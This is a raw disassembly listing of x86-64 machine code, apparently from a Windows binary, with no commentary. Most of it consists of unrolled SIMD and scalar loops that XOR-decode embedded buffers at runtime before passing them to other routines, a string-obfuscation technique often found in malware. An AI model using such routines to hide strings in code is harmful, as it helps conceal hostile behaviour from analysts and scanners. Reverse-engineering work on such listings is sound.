pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x1402abb30]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
jmp 0x14001f0b6
mov r9, r10
nop dword [rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x18
jl 0x14001f080
mov rdx, r10
lea rcx, [rbp + 0x1eb8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1ed8]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1ef8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x550]
lea rcx, [rbp - 0x26]
call fcn.14002eea0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14001f3c2
mov r8d, esi
cmp r14d, 2
jl 0x14001f385
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14001f3c2
mov r9, r10
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14001f390
mov rdx, r10
lea rcx, [rbp + 0x1f18]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1f38]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1ef8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1f58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5478]
lea rcx, [rbp - 0x25]
call fcn.14002ee70
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001f56f
mov r8d, esi
cmp r14d, 2
jl 0x14001f52d
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001f442
cmp r8d, 0x21
jge 0x14001f56f
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001f540
mov rdx, r10
lea rcx, [rbp + 0x1f78]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1f58]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5a18]
lea rcx, [rbp - 0x24]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001f6f0
mov r8d, esi
cmp r14d, 2
jl 0x14001f6bb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001f5d0
cmp r8d, 0x27
jge 0x14001f6f0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001f6c1
mov rdx, r10
lea rcx, [rbp + 0x1fb8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1fd8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1f98]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1fd8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1fb8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1f78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1f38]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1f18]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1ed8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1eb8]
call fcn.140007bc0
lea rax, [rbp + 0x568]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x568]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5c90]
lea rcx, [rbp - 0x23]
call fcn.14002ef50
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001fa94
mov r8d, esi
cmp r14d, 2
jl 0x14001fa5a
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x1402abb30]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001fa61
mov rdx, r10
lea rcx, [rbp + 0x1ff8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2018]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x2038]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x9d8]
lea rcx, [rbp - 0x22]
call fcn.14002ef20
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001fd9f
mov r8d, esi
cmp r14d, 2
jl 0x14001fd67
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001fd70
mov rdx, r10
lea rcx, [rbp + 0x2058]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2078]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2038]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x2098]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x55b8]
lea rcx, [rbp - 0x21]
call fcn.14002eef0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001ff40
mov r8d, esi
cmp r14d, 2
jl 0x14001ff0b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001fe20
cmp r8d, 0x21
jge 0x14001ff40
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001ff11
mov rdx, r10
lea rcx, [rbp + 0x20b8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2098]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x59f0]
lea rcx, [rbp - 0x20]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x1400200c0
mov r8d, esi
cmp r14d, 2
jl 0x14002008b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ffa0
cmp r8d, 0x27
jge 0x1400200c0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140020091
mov rdx, r10
lea rcx, [rbp + 0x20f8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2118]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x20d8]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2118]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x20f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x20b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2078]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2058]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2018]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1ff8]
call fcn.140007bc0
lea rax, [rbp + 0x580]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x580]
call fcn.140033630
